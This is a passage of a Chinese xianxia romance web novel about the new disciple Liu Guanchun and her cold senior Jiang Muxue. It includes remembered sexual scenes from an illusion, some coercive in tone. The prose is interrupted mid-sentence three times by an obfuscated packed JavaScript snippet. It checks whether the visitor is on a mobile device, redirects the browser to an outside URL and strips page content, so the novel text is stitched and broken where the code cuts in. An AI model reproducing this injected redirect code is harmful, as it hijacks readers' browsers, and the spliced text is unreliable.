唐玄风有意栽培大弟子,总会把宗门的事务交由江暮雪处理,因此在师弟、师妹的眼中,他们不敢叨扰掌门,却敢时不时来麻烦江暮雪。 毕竟大师兄只是人冷话少,如遇急事,他也会出面调停。 今日,外门弟子将一只传话的千纸鹤送进内门,说是有要事相禀。 江暮雪放下手中批阅过的宗门文书,长指轻点纸鹤。 光华流转,信纸缓慢摊开,上书一句话:内门新收的小师妹柳观春,凭借高深剑术,仗势欺人!眼下她与外门赵师姐打成一片……烦请江师兄百忙中抽空,前来调解一番。 打成一片,是这样用的么? 江暮雪缄默不语。 看来,何时得给外门弟子再寻一名钻研凡间经史子集的长老,指点一下学识与书文。 如今是秋末冬初,并非仙门遴选弟子的时期,为何还会有新人入宗? 江暮雪薄唇轻抿,乌睫垂下。 这位新入门的小师妹,乖张好事,聚众斗殴,可见心性不静,亦不会是师尊喜爱的弟子性情。 或许极难管教。 3. 入内门(三) 第三章 山中金枫飞舞,落英缤纷,明明是深秋时节,竟也有漫天飞雪。 与江暮雪同行而来的内门弟子们各个面面相觑,他们御剑靠近了才知,这是那个新入门的小师妹展开的灵域。 雪灵根……虽雪色不够纯粹,雪絮也不够柔软,甚至就连灵力波动看起来都式微,但这是所有灵根里最为罕见的属性,数千名弟子里能开出一个都算是中奖了。 没想到玄剑宗的掌门,不但收了一个雪灵根的江暮雪,眼下竟还有一个新入门的小师妹。 要是让其他仙宗的长老知道了,还不知该如何羡慕呢…… 江暮雪自然也看到了那个骑坐在他人身上的少女。 女孩容色娇俏明丽,看着身量不高,应该是十五六岁时学的引气入体,此后容颜常驻,永葆青春,无论她长大几岁,只要自己不用术法刻意变幻模样,她都会维持少女的身形。 少女的弟子服被罡风刮破,一袭白衫几乎要被血液浸透,就连嘴角、脸颊都是伤痕,鲜血淋漓。明明重伤在身,可她却毫不在意。 两条红绫缚在少女乌黑的双螺髻间,风雪将发带吹得高扬,许是听到人声,她回头,一双秋水剪瞳睥来,似有惊惧,但很快又敛去所有不宁的神色。 “弟子柳观春,见过各位师兄。” 柳观春看到那一群腾云驾雾而来的白衫少年,不必旁人提醒,她便知他们的身份,这是玄剑宗的内门弟子。 她行过礼后,又抬头看了一眼。 这一眼,恰好和为首的男子对上。 白衣玉冠,腰缠纤细如蛇的伏雪剑。男人的眉眼清隽秀致,带些雌雄莫辨的阴柔女相,特别是额心那一颗灼灼其华的守元砂,红到刺痛人眼,仿佛在提醒世人,他是如何断情绝爱,道心坚毅。 来人正是与柳观春行过周公之礼的大师兄,江暮雪。 柳观春下意识紧攥手心……她的元阴不在,可江暮雪不仅忘却了幻境中的种种,他眉心的守元痣还留存至今。 江暮雪的道心未毁,元阳未破,他还是那个世人敬仰的天之骄子,还是那个冰清玉洁的无情道剑者。 柳观春更清醒地意识到,她在幻境中,曾因一点江暮雪赠予的温柔而动容,究竟有多么可笑。 柳观春记得,她在每一次欢好时,都会仰着颈,麻木地望着床帐。 她纤细的手指紧握成拳,尖锐指甲深深扎进掌心的软肉,带来丝丝绵长的痛感。 她不敢溢出丝毫旖旎的声响,不敢放纵自己沉沦,即便偶有意动,她也不会配合江暮雪。 每一次巫山云雨,柳观春都会默默忍受。 仿佛如此,她就能从情爱的漩涡中脱身,就能告诉自己……她不会陷进这个虚幻的梦里。 柳观春只是一个替身,她是唐婉的替代品。 她心知肚明,江暮雪所有的温柔,欲赠之人,都是唐婉。 柳观春要保持清醒,要维持理智,如此才不会显得自己那样软弱,又那样的……可怜。 直到一日,江暮雪修长冰冷的指骨探来,一点一点掰开她因隐忍而蜷起的手心。 男人的怀抱湿冷。 柳观春想起,江暮雪每每入夜都会去溪边沐浴,身上自带一缕清冷的风雪幽香,很好闻。 可那夜,他略有不同,师兄仿佛比平日要热情。 江暮雪硬朗的指骨,顺着柳观春微烫的指腹,一点点侵入她的手指缝隙,他的动作既温柔又缓慢,可十指交织的感觉太过亲密,好似耳鬓厮磨,温柔中满含压迫感,令柳观春有些无所适从。 柳观春无措地低头,恰好迎上江暮雪那双深沉如潭的凤眼。 “师妹。” 他第一次如此唤她。 柳观春的后脊滚过一道雷电,浑身战栗,倏忽一哆嗦。 竟比寻常还要快一些。 柳观春呆住了。 偏偏男人轻扯了一下唇角。 随后,江暮雪的掌心,灵光涌动,柳观春的五感瞬间被一片冰冷的风雪封闭…… 眼前一片漆黑,她什么都看不到了。 也是那时,柳观春才知。 房事上,她的数次走神,江暮雪都了然于心。 而师兄的占有欲浓烈,往后他再不许她看旁处了。 柳观春被迫陷进那个寒雨绵绵的春夜里,她别无他法,只能感受他。 …… 柳观春曾因那一点难能可贵的温存,险些迷失在幻境里,如今看到江暮雪冷漠的眼,疏远的距离,身上浩然林立的剑气,以及如影随形的剑者威压,她方知何为云泥之别。 柳观春不敢有妄念,她垂下浓长眼睫,小心地抹去嘴角鲜血。 没等柳观春说明武斗的情况,早有外门弟子上前告状。 “我们特地来和柳师妹道别,偏她自恃是内门弟子,竟对我们出言不逊……我虽不知柳师妹有何等机缘,竟能以筑基一阶的资质进入内门,但她心性骄狂倨傲,这样的性情恐怕会给宗门生事。” 柳观春皱眉,惊讶地望去。 她何尝不知,这些外门弟子分明是怕她入了内门,天材地宝滋养修为,再攀境界,日后成了修士大能,定会对他们加以报复。 若是他们能够以今日武斗一事,阻拦柳观春进入内门,何愁往后没有一雪前耻的机会。 柳观春望着相处过十年的师兄姐们,她仿佛能听到他们在泥潭里说:“下来吧,下来吧,和我等一同深陷泥潭吧!” 她偏不! 可当柳观春想要开口辩驳的时候,喉头却像是被浆糊堵住,唇齿也仿佛有叶片遮蔽,竟一句话都说不出来。 她先前已经开口唤过“师兄们”,如今面对诬告却一言不发,分明是默认罪行! 柳观春望向那位早已被人搀扶起身的赵师姐,她看到赵师姐嘴角漫出的冷笑,如何不知这是她的秘术? 方才赵师姐使诈出手便有些诡异,看来她定是通晓妖鬼邪术! 柳观春还没来得及解开封口印,内门的弟子便将此事请示江暮雪:“大师兄,这位柳师妹虽是新入门的小师妹,却也不该仗着内门庇护,目无宗规,肆意欺辱外门弟子,按律,她该上自省殿,自领三十鞭刑。” 内门的鞭刑并非凡间那样,只落在皮肉,而是一击穿透修士灵域,击在修士的神识间,若是修为不够的弟子,十鞭下来就可能掉下一阶。像柳观春这样初初筑基的女修,甚至用不着三十鞭,仅仅二十鞭就能将她打回炼气期的原形。 外门的众人都在幸灾乐祸地看笑话,柳观春却心底发寒。 她不知道该怎么办。 柳观春答应过唐玄风,决不会靠近江暮雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没等他走远,自知没有活路的赵师姐忽然放声大笑:“你就是柳观春在内门里的那个相好吧?她委身于你,把你伺候得服服帖帖的,所以你才这般偏袒她!” 柳观春听得脸色煞白,她竟有种被窥探内心的羞耻,一句话都没有反驳。 倒是江暮雪的凤眸变冷,他不允许任何人辱他的道。 没等赵师姐说完,凛冽剑风送来一记耳光。 “啪!” 一声脆响,落到赵师姐脸上,直将她的骷髅头打到脱臼。 痛倒不痛,只是那种神识被压制的感觉,令人肝胆俱裂。 赵师姐说不出话,很快,内门弟子上前,将她押进自省殿领罚。 一场闹剧结束。 柳观春从地上爬起,她执着铁剑,想和江暮雪道一声谢。 可她朝前望去,远处只有一蓬蓬金叶灿烂的枫树,哪里还有江暮雪的身影? 江暮雪办完事,御剑离去,没有半分的迟疑与留恋。 4. 入内门(四) 第四章 柳观春想,唐婉那日特地提点敲打她,实在太多虑了。 她虽进了玄剑宗内门,但平时至多只能见到高几阶的师兄姐,像江暮雪这样的掌门代理人,根本就是她望尘莫及的存在,莫说见到面了,就是远远听得他几声对后辈的训诫都难。 但柳观春完全不在意那些细枝末节的事,她进内门,为的是自己潜心修炼,看看能不能找到回家的办法,她并非为江暮雪而来。 虽说有时入夜,她也会偶尔梦回幻境,想起那些仅有她一人记得的美好回忆。 柳观春在这个修仙世界得到的温柔太少,即便知道江暮雪所给予的一切都是假的,她也舍不得忘记那些温馨的记忆。 柳观春记得,江暮雪话少,神情冰冷,看着不好亲近,却会主动去记她的饮食喜好。 看她多吃了几块芋子、几片春笋,晚膳必定还会煮那两样菜。 看她偶尔被风雪吹得瑟缩,隔天必定更换天气,屋外只余下一片晴空万里,春风拂面。 看她衣裳不合身,也会为她缝补衣袍,熬夜制衣。 江暮雪裁的衣裙总是很合身,料子也柔软舒适,他夜里以手丈量过柳观春的身量,裁出来的小衣绸裤自然丝毫不差。 柳观春在人间流浪过许久,她会劈柴、裁衣、做饭、烧火,实在是合乎常理,但江暮雪自小是玄剑宗的天才剑修,一应俗务都有雇来的仆从料理,何时干过这些琐事? 见柳观春好奇,惜字如金的师兄难得开口,轻声道:“我并非生在玄剑宗,少时也是凡人家中的孩子。” 旁的没有说太多,柳观春怕露馅,也不敢多问。 她想,唐婉一定知道江暮雪的过去,毕竟他们是从小一起长大的师兄妹,青梅竹马、两小无猜的一对壁人。 她要扮演好唐婉,她不能有太多的私心以及窥探欲。 可这……实在很难。 柳观春尝试让自己不要太过入戏,假如江暮雪不会压着她索吻,不会一边捏着她的下颌,迫她开口,碾着她的舌,吃得更深的话……她应该能不要陷得那样深。 她听见自己迷迷糊糊的哼声。 她看到自己欲拒还迎的推搡。 她的手被江暮雪紧紧锁住,男人的虎口很有力量,能一只手压制少女两手的腕骨,困在发顶。 柳观春第一次知道,自己还能出那么多的汗,眼睫毛都被打湿了,像一只淋了雨的小鹿。 惊惶,又有点无措。 她眨了眨眼,莫名地说出一句:“能否,不要唤我‘婉儿’。” 其实江暮雪从来不喊她的名字,但是她害怕,万一他在情动时,脱口而出的是这一个小名,她该有多难堪,她该有多少难以启齿的羞愧。 已经够丢脸了,至少给她留一点残存的尊严。 柳观春明知她的卑劣,她不该滋生那些妄念。 从这一刻开始,她犯下第一个错误。 柳观春有了自己的私心。 她对江暮雪说:“师兄,我不想你喊我的名字。” 她说完这句话,紧紧闭眼,樱唇紧咬,几乎泛起血色。 粗粝的手指轻抚她的齿关,抵在其中,散去她自伤唇瓣的力道。 男人的手很凉。 江暮雪只是看她一眼,不置可否。 他一贯话少,眼下没有答应,柳观春也看不懂他。 可就在夜深人静的时刻,江暮雪与她耳鬓厮磨,他那样的热,唇齿间似喟叹一般,唤出一句“师妹”。 声音好温柔,出乎意料的缱绻。 就好似,他看的不是唐婉。 而是这一张脸皮底下的……真正的柳观春。 柳观春忽然感到无地自容。 她羞惭极了,可她还是偷尝着这份甜蜜。 手指被握紧的时候,她回应了江暮雪,指缝相贴,她主动绞住男人玉琢的指骨。 …… 柳观春从梦中惊醒,她满身大汗,怔怔出神。 她想,唐婉赠的两记耳光,她挨的不冤。 的确是柳观春卑鄙,她一时失神,竟对师兄,有所肖想。 梦境里的柳观春,偶有以公谋私的时候,偏要装得冠冕堂皇。 她只是、只是想尝一尝,被人偏爱究竟是什么滋味。 她犯下大错。 幸好,江暮雪永远都不会发现,那时辗转于他身下之人竟是假的,她竟是这样一个卑劣至极的女子。 这份独属于唐婉的记忆,柳观春不会毁去。 柳观春会践行诺言,默默退场。 她什么都不会对江暮雪说。 她不过是一个戏外的第三者。 柳观春会老实本分地走开,不能再伤害师兄。 只是,偶尔柳观春也会有一瞬感慨。 无论唐婉捅出多大的篓子,都有疼爱她的掌门爹爹,一同长大的护短师兄,为她行差踏错的人生兜底…… 唐婉才是故事里的女主角,她的生活很幸福。 幸福到,连柳观春都羡慕的地步。 - 柳观春初入内门,诸多事宜不懂。 唐婉看不惯柳观春,在膳堂用饭时,特地给过柳观春冷脸。 见状,诸位师姐都回过味来,兴许柳观春与唐婉性格不合,两人不是很对头。 那些讨好唐婉的内门女弟子,自然不会冒着开罪掌门亲女的风险,特地去和柳观春讲话。 不过内门弟子大多都是潜心修炼之辈,只以修行论高低,也不至于特地刁难柳观春。 至多就是冷漠以待。 对于柳观春来说,不会合伙欺凌她已是庆幸,旁的漠视或是冷待,实在算不上什么劫难。 不过因为没人在旁指点,许多事,柳观春只能自己慢慢去了解。 好在,柳观春习惯了独自一人修炼。 她知道筑基之后,每升五阶便能再上一个小境界。 修士修行不易,而世间灵气稀缺,若是想要再攀阶级,就得用天材地宝生生去滋养灵池。 可蕴含灵气的宝物有限,宗门里倒是能换取,只是要用外出降魔取来的内丹来换。 每年秋冬,天地飞雪,凡尘正逢丰收,妖邪魔魅便以凡人的喜悦为食,在人间四处游荡,为祸一方。 宗门弟子可在秋冬季节离开仙山,前往凡境修行,等斩妖除魔归来,用魔丹换取灵气财宝,又能升上一个小境界。 柳观春知道,时常有仙门弟子组队一道儿下山,人多力量大,如此除魔才会事半功倍。若是取到内丹,队员们也会按照人头数平分。 但能组队的队员,必定都是境界相差不大。像柳观春这样与师兄姐们实力悬殊的新弟子,没人会愿意带她出任务。她又不像一些修士家族出身的孩子,能用成千上万的灵石讨好诸位长者。 思来想去,还是要靠自己的力量,好好提升实力。 于是当晚,柳观春便用武斗卷轴开启比试场。 卷轴散开金光,犹如一面红毯,自寝院的四面八方铺陈而去,形成一个半球体的武斗场。 一道光门林立,转瞬间,柳观春被一股力量吸了进去。 在玄剑宗中,要是弟子们想找人喂招比试,都可以就地打开武斗场的结界,入内比试。 为了防止弟子们打输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只是在修阵之前,第三十七枚符箓便开始闪动寻人比试的红光,直到三个时辰后他修好大阵,三十七号还是没找到愿意同他比试的弟子。 江暮雪还剑入鞘,凤眸冷意丛生,他瞥一眼泛光的符箓,捏来一个法印,将其拢近。 不过修长指骨一探,符箓登时展开,变成一片清晰照影的光幕。 光幕中,梳着双环髻的少女一面背书,一面执剑,与傀儡人偶比试。 她出招迅猛快捷,剑势凌人,可不知为何,她半点不懂如何利用在武斗里开启灵域,搭配剑招御敌。 少女许是打累了,她收起剑,抬头看了一眼武斗场。 仰头时,女孩的那一双杏眼明亮剔透,眼尾泛红,隐隐染着胭脂色。 是似曾相识的一张脸。 很快,江暮雪记起她是谁。 那个在外门与鬼修搏杀的师妹…… 那一日,她当众开启雪灵根的灵域,想来也是被逼入绝境,方才在惊惧之下,不得要领地开了灵域。 玄剑宗内门素来关照新入门的弟子,为何她人缘浅薄至此,在武斗场中等了足足三个时辰,也无人入内,和她喂招呢? 江暮雪轻皱了下眉。 他想了一会儿,最终还是迎着风雪,扬袖抽出细长的伏雪剑,纵身跃进武斗场中。 - 武斗场内。 柳观春想着,今夜应该是等不到人了,不过法阵幻化的训练场用来练剑还是不错的,明日她还来继续练习剑法。 今日算了,天色已经不早了。 柳观春正要收起卷轴,可就在这时,她的比试符箓散开绿光,远处渐渐浮现出一个看不清脸的弟子。 柳观春的心脏砰砰直跳,她杏眼发亮,脸上满带笑容,难掩喜悦。 有人……有人来陪她了! 5. 入内门(五) 第五章 那一名应战的弟子持剑而来。 他的脸模糊不清,定睛望去,能看清一点五官,又因术法的限制,在柳观春的脑中留不下任何印象。 看得出来,此人的修为定在柳观春之上,所以他的身形以及本命剑才会被比武场的禁制遮蔽。 但柳观春还是能认出,他是穿白衣的男弟子。 柳观春生怕这位师兄会跑,人还没来到跟前,她已躬身作揖:“请师兄赐教。” 江暮雪站在少女的跟前,见她恭敬低头,他垂眼道:“出剑吧。” 柳观春:“是。” 她后退半步,做了个起手式。 没等柳观春运剑而起,这位内门师兄忽然收回他的本命剑,换了一把没开刃的桃木剑比试。 见状,柳观春皱了下眉,心中有点丧气。 她就知道,怎会有人真心实意想要和她对招,连剑都不肯出,不正是摆明了要羞辱她? 但柳观春太想要有人陪练了,她忍下所有不满,冷静地问:“师兄为何不用本命剑?” 江暮雪淡然:“恐会伤你。” 柳观春:“……”此人狂妄。 但她也没说什么,他既不肯出本命剑,那她逼到他出便是了。 思及至此,柳观春紧握长剑,全力以赴冲杀上去,她不懂如何开灵域助阵,只能用手上蛮力运起浩然剑气,挥向江暮雪的衣袖。 没等她的锋锐剑刃割破师兄的衣袖,他足下旋步,不过一个瞬息,已避开柳观春的袭击。 江暮雪退至一隅,由于行动速度太快,衣袂仍被风带得飘摇,清逸如流风回雪。 柳观春没想到自己竟连师兄的一片衣角都摸不到,顿时对自己方才的轻视感到羞愧,师兄的剑术果真高她不少。 柳观春虚心求教,又摆出认真对战的架势。 她再次急掠而起,银剑盘旋而上,直攻师兄的下盘。 少女杀气腾腾地应战,和之前在外门所见一般,每一次战斗,她都如此锐进,拼尽全力。 她喜欢剑,练剑也认真。 江暮雪满意颔首。 这一次,江暮雪没有再避,他分辨出柳观春所使的剑诀是最初级的北斗七式,他略一思忖,将剑招拆解开,又用另外一套动作组装好,用于迎击。 砰的一声巨响,火花四溅。 柳观春的银剑砍在桃木剑上,劈出几道豁口,但她还是没能将木剑砍断,反而被师兄大盛的剑气格挡回去。 柳观春一时不察,被剑气所伤,她猛得后退半步,咳嗽一声。 许是见她受伤,江暮雪下意识飞跃而上,想要搀后辈一把。 但不料江暮雪伸手的一瞬间,柳观春并拢二指,口中碎碎念出一道护剑诀,加强了剑势。趁此机会,她旋身袭上,或挑或挥,或劈或砍,剑气如虹,凶悍地逼向江暮雪。 用的正是江暮雪拆解的剑招。 柳观春虽不会开灵域,但她眼明手捷,竟然知道照葫芦画瓢,以他之术,克他之剑。 但江暮雪没有落入她的圈套,见女孩还有力气偷袭,男人迅速抽出桃木剑,不疾不徐地迎击。 砰砰砰,比武场上响起数声刀剑相撞的尖刺响声。 剑光横流,银光倾泻。 师兄的防守几乎牢不可破,柳观春使尽了吃奶的劲儿,也没有寻到他的破绽。 反倒是江暮雪用了些灵力,护住木剑不断,手中长剑受到雪灵根的灵气影响,瞬间凝结霜雪,剑啸澎湃。 犹如海潮翻涌,浪覆人间。 十几个交锋下来,柳观春已经精疲力尽,她能感受到,师兄为了不伤她,一直压着剑势,收着力气,他应敌游刃有余,反倒是她渐渐力不从心。 师兄的修为远在她之上,却愿意陪她无休无止地练下去。 真是个热心肠的人。 柳观春珍惜这位师兄的同时,又有点忐忑,她很害怕他觉得无趣,下回不应她的比试。 因此在最后一次,柳观春的长剑被师兄挑飞的时候,她见好就收,宣布休战。 “多谢师兄陪我喂招,我知道师兄修为远在我之上,今日这场对决,全是你纡尊陪练……观春受益颇多。”她故意暴露名字,也有结交这位内门师兄之意,若是他有意结识,自然会自曝名号,这样柳观春在宗门修行的时候,就能常常去找他指教了。 但显然,江暮雪没有长久接触柳观春的打算。 他听了以后,也只道:“师妹不必妄自菲薄,你既爱剑,经年累月修行剑术,总有大成之日。” 柳观春第一次听到前辈寄予厚望的鼓励,热泪盈眶,她连连点头:“我一定会好好修炼,不负师兄的期望。” “嗯。”江暮雪虽然天赋异禀,但他少时也是一招一式练过来的,如何不知修炼的辛苦。因此,他身为年长的师兄,看到后辈勤勉练剑,心中自是欣慰。 既已完成比试,江暮雪没有打算过多逗留。 然而,柳观春却依依不舍,她急追两步,小心翼翼地问:“师兄,那……你明日还来吗?” 江暮雪想到内门事务繁忙,再有两个月还要安排内门弟子下山降魔。 他只能寒声拒绝:“没空。” 柳观春早在方才就知道,这位师兄虽然面冷声冷,但为人不坏,他说没空,定是忙于修炼。 但柳观春心知肚明,她初来乍到,又有唐婉从中作梗,想来宗门里没有师兄姐会主动与她结交……人要脸树要皮,柳观春也不可能一个个弟子寻过去,冷脸贴热屁股去讨教剑术。 今日能撞上一个乐善好施的师兄,已是走了大运。 柳观春鼓足勇气,厚颜问:“那师兄,你哪日有空?每夜戌时,我在三十七号比武场等您,若您哪日有空,便来应试,好吗?” 柳观春抬头,那一双杏眼里满是恳求之色,既怯怯又期盼,像一只绒毛柔软的小兔。 江暮雪虽然不知她为何执着于自己,但也没有说什么拒绝的话。 他想,之后定会有其他弟子应她的比试,届时她未必抽得出空来与他对招。 于是,江暮雪只幽幽地应了一声:“尽量。” 柳观春得了应允,大喜过望。 她目送师兄离开,心满意足地收起了比武卷轴。 夜里,柳观春躺在床上,脑中复习白衣师兄教的剑招,她不蠢笨,自然知道白衣师兄喂招那么久的用意。 北斗七式所有能拆解、拼接、衍生的剑招,他都教给她了。 柳观春看他动作行云流水,剑势凌然,猜他很可能是金丹期的剑君,宗门之中,金丹期的剑君不多,细数起来,应该不超过三十人。 除了江暮雪那个修仙天才,二十岁便攀至元婴期剑者……寻常人怎么能和他能比呢? 不过柳观春做好了长久修炼的打算,总有一天,她会修成剑君,一剑劈开天地,兴许那时,她就有机会回到自己的世界。 在此之前,柳观春要尽可能多修炼,多升阶,好好活下去。 当务之急,是找到一把合适她的本命剑。 柳观春将这件事记在纸上,随后练了一天剑的疲乏上涌,她咣当一声倒到床上,沉沉入睡了。 后来的几天,柳观春白日去宗门上课,剑诀课、内功课、棍法、拳法,凡是她能练的体修课,她都去上了。 上剑诀课的时候,教课的先生其实是内门里修为较高的师兄。 柳观春和一众弟子在台下听课,她看着台上演练剑招的师兄,尽管对方出招利落,翩若惊鸿,舞若游龙,但柳观春还是觉得对方及不上她遇到的那个白衣师兄。 柳观春思索间,人群忽然喧哗。 远处,白鹤飞舞,云霞漫天,一辆载人的紫檀马车被白茫茫的浮云托举,由远及近驶来,停在了训练场的门口。 这辆飞云车,柳观春听说过,据说是掌门唐玄风赠给爱女唐婉的生辰礼物,车上用了千种聚云符箓,仅用灵力驱动,便能在空中如鸟雀翱翔。 车帘撩起,下车之人,不仅仅是明丽娇艳的唐婉,还有芝兰玉树的江暮雪。 这是唐婉认错归宗,第一次带着内门大师兄江暮雪,出现于人前。 宗门向来慕强,弟子们看到江暮雪抽空来到学府,各个心潮澎湃,忙御剑上前,一口一句“大师兄”,趋之若鹜地追上去。 柳观春一时失神,被那些剑器冲撞,手里的剑诀落了一地。 她的灵石不多,破损了任意一本剑诀,她都要心疼。 柳观春急忙俯身去捡,指骨却不慎被人踩了一脚。 下脚很重,手很疼,她皱起眉,缩回了手。 抬头的一瞬间,柳观春迎上了唐婉探究的目光。 也是这时,江暮雪循着唐婉的视线,精准捕捉到了柳观春。 男人那一双清冷的凤眼睇来,让柳观春的心跳莫名慢了一拍。 柳观春低头,看到被踩得灰扑扑的手背,又想起江暮雪一身白衣胜雪,光风霁月,她自觉形秽,手中握紧了护身的银剑。 仿佛如此,她便有了安身立命之物,就能活得更加恣意坦荡一些。 旁边的师姐们看着远处郎才女貌的一对佳人,不由感叹。 “江师兄果真是爱惨了唐婉师姐,就连她之前被魔尊迷惑私奔一个月的事都能既往不咎,只求唐婉师姐回到他的身边。” “那是自然,江师兄和唐师姐自小一块儿长大,江师兄待外人冰冷,对唐师姐却从来柔善,予取予求。十年前,他为救唐师姐的心疾之症,不惜只身潜入妖域,以命相搏,如此才换来妖蛟千年妖丹,为唐师姐修复了心脉。” “我记得那次,若非江师兄相护,恐怕唐师姐早就修为涣散,变成废人了。只是那妖蛟难杀,江师兄的本命剑都险些折损在妖域里……” 本命剑对于一个剑修来说,相当于性命的存在。 可见江暮雪待唐婉有多么情深义重。 柳观春听着旁人的故事,脑袋却像是被人重重打了一拳,嗡嗡的,神志不清。 一瞬之间,她想到了幻境里的种种。 江暮雪偶尔温柔的眼神,江暮雪偶尔强硬的触碰,江暮雪或轻或柔的呼唤……他的确喜欢唐婉,而柳观春利用唐婉,在江暮雪这里获得过一瞬柔情。 柳观春面无血色,她狼狈地回到院子。 柳观春凝神冷静,她又取出武斗的卷轴,她急需找人发泄出这些燥郁、难堪……甚至她没脸说是委屈、但的确让她感到心酸的情绪。 阵法光芒大作,武斗场再次显现于人前。 柳观春执剑入内,再次来到了三十七号训练场,她发出召人比试的信号,等待白衣师兄的出现。 信号忽明忽暗,没有任何人应下柳观春的邀请。 但她已经习以为常。 想来是唐婉对外散播柳观春是凡修一事,惹得同门不喜。 内门弟子大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152044|164856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是灵修出身,体魄天生比凡人要强,除非凡修的根骨清奇,像江暮雪那样能修炼日进千里的绝世天才,否则他们确实不太看得上凡人。 而柳观春还在外门当过十年扫洒弟子,根骨堪称差到极致,即便她是雪灵根,师兄姐们也并不把她放在眼里。 特别是入了秋,下山降魔一事迫在眉睫,他们可不想组队驱魔时,被柳观春缠上,因此不要和她接触便是最好的选择。 但柳观春并不在意这些,她一如既往,孤身与傀儡人偶对战。 可是,平时都能忍受的寂寞,今日却有点熬不住。 柳观春想,那是因为有白衣师兄陪她了……她尝到一点甜头,再让她去吃苦,自然难耐。 也许也是因此,她对江暮雪给予的虚情假意,才会那么的念念不忘。 柳观春在比武场中等了许久。 半个时辰过去,柳观春看了一眼天色,她想,白衣师兄没来,定是因为他还有剑术课要上。 一个时辰过去,天色昏昏,武斗场还是空空荡荡。柳观春想,兴许人家刚刚忙完,正在吃饭呢。 两个时辰过去,已是深夜,柳观春肚子饿了,她拿出一盒红豆沙甜糕,咬了一口,细嚼慢咽地吃着。她本来想买来分白衣师兄吃的,谁料,一晚上过去,她都没有见到他。 柳观春等不了太久,她叹一口气,站起身,拍去手中的粉屑。 她本来想收起卷轴,转念一想:万一白衣师兄忙好了,想来找她,可是她已经走了怎么办? 想到这里,柳观春又加练了一个时辰。 她准备好了无数白衣师兄失约的理由。 - 绝情崖。 江暮雪打坐入定,风雪将他的衣袍吹得猎猎作响,飘然若仙。 他没有关闭比武场的召人符箓,任由那嘈杂的声响在耳旁不断回响。 他入定一贯沉心静气,不为外物干扰,但今日不知为何,许久不能浸入无我的境界。 既无法调息,江暮雪施施然睁开眼。 他偏一下头,看到符箓漫出的红光不断,三十七号比武场,还没找到应战的对手。 江暮雪的黑睫轻颤,他无端端想到今日学府所见一幕。 柳观春生得瘦小,臂骨伶仃,下颌消瘦,正因她脸颊不够丰腴,衬得那双杏眼既黑又大,像是紫到发黑的葡萄,带着点不自知的倔强。 她无措地站在人群之中,被那些御剑行来的鲁莽弟子冲撞,手里的书册哗啦啦落了一地。 少女心疼地蹲下身子,捡起一本本剑诀,用灰溜溜的小手轻轻拍了拍册子。 那时,江暮雪在想什么呢? 哦,他在想,为何柳观春连一颗储物用的藏宝珠都没有…… 不过,由此可见,她的确人缘不好,就连上课也是孤零零一人,难怪没人陪她喂招。 已过去三个时辰了。 江暮雪点开比武场的光幕,柳观春还站在训练场中,满身大汗地练剑。 她在等他。 江暮雪的指骨一动。 他的身后,倏忽传来了脚步声。 绝情崖有设下禁止弟子进出的法阵,能来此地的人,唯有掌门、宗门长老,还有唐婉。 江暮雪五感敏锐,一回头,果然看到了一身绮丽红衣的唐婉。 唐婉如今没有剑骨养护,穿得又清凉,有点受不了绝情崖无尽的飞雪。她瑟缩着,拢了拢单薄的外衫,想到红木食盒里的甜汤,又鼓足勇气上前,亲昵地喊:“大师兄。” 江暮雪抬眸,一双凤眼淡漠如常,眉心那一颗断情绝爱的守元痣灼灼生辉。 过了一会儿,他凉声道:“若是身体不适,为何还要来绝情崖?” 今日江暮雪本想去巡察学府弟子的剑术情况,半道上撞见唐婉乘坐的飞云车。 唐婉撩帘,气息奄奄地对他道:“师兄,我自剔除剑骨后,总有些神识涣散,髓海不宁,父亲闭关不出,宗门里只有你能帮我调息一瞬……” 江暮雪顾念她是恩人之女,没有拒绝,也是自此,今日他们才一道来了学府。 唐婉听到江暮雪语气冰冷的关怀声,心中稍安,她笑了笑:“我想为大师兄送荔枝甜汤……” 江暮雪却没有接,“不必,自辟谷后,我已鲜少喝汤。” 修士辟谷后,虽说没有饥渴劳累感,但喝一口汤,吃一碗饭,还是没什么妨碍的。 江暮雪只是不想再用她送来的吃食罢了。 唐婉面上讪讪,心中略有点尴尬。 她提着食盒,没有逗留的借口,正想离开,却不经意间瞥见江暮雪点开的光幕。 光幕中,一个梳着尖尖双髻的少女,一手持剑,一手捏糕,专心致志与傀儡人偶对练。 女孩挥汗如雨,不知疲倦,脸颊红扑扑的,晕起粉色,衣着虽朴素,却难掩她娇媚容颜。 此人,可不就是那个心机颇深的柳观春! 唐婉顿感毛骨悚然,她惊恐地看了江暮雪一眼。 师兄无情无欲,不在意世间万物,他这样道心纯粹的剑君,怎会偏袒旁人?他为何照看柳观春?难道他想起迷魂梦境中的种种事情了? 唐婉咽下一口唾沫,颤声问:“师兄,光幕中的女子是?” 江暮雪一怔,不知为何,他本能不想让人看到柳观春。剑君轻飘飘一扬袖子,拂去比武场的景象,他漠然地解释。 “不相熟的后辈罢了。” 6. 入内门(六) 第六章 柳观春仰头,月上中天。 她反复进进出出数次,终于在最后一次要收起卷轴时,等到了一袭静寂如雪的身影。 白衣师兄来了。 柳观春松了一口气,又为自己有些厚颜的行径找借口:幸好她没有离开,不然白衣师兄深夜指点又找不到她,该有多着急? 柳观春高兴地上前:“师兄,你刚刚忙完吗?” 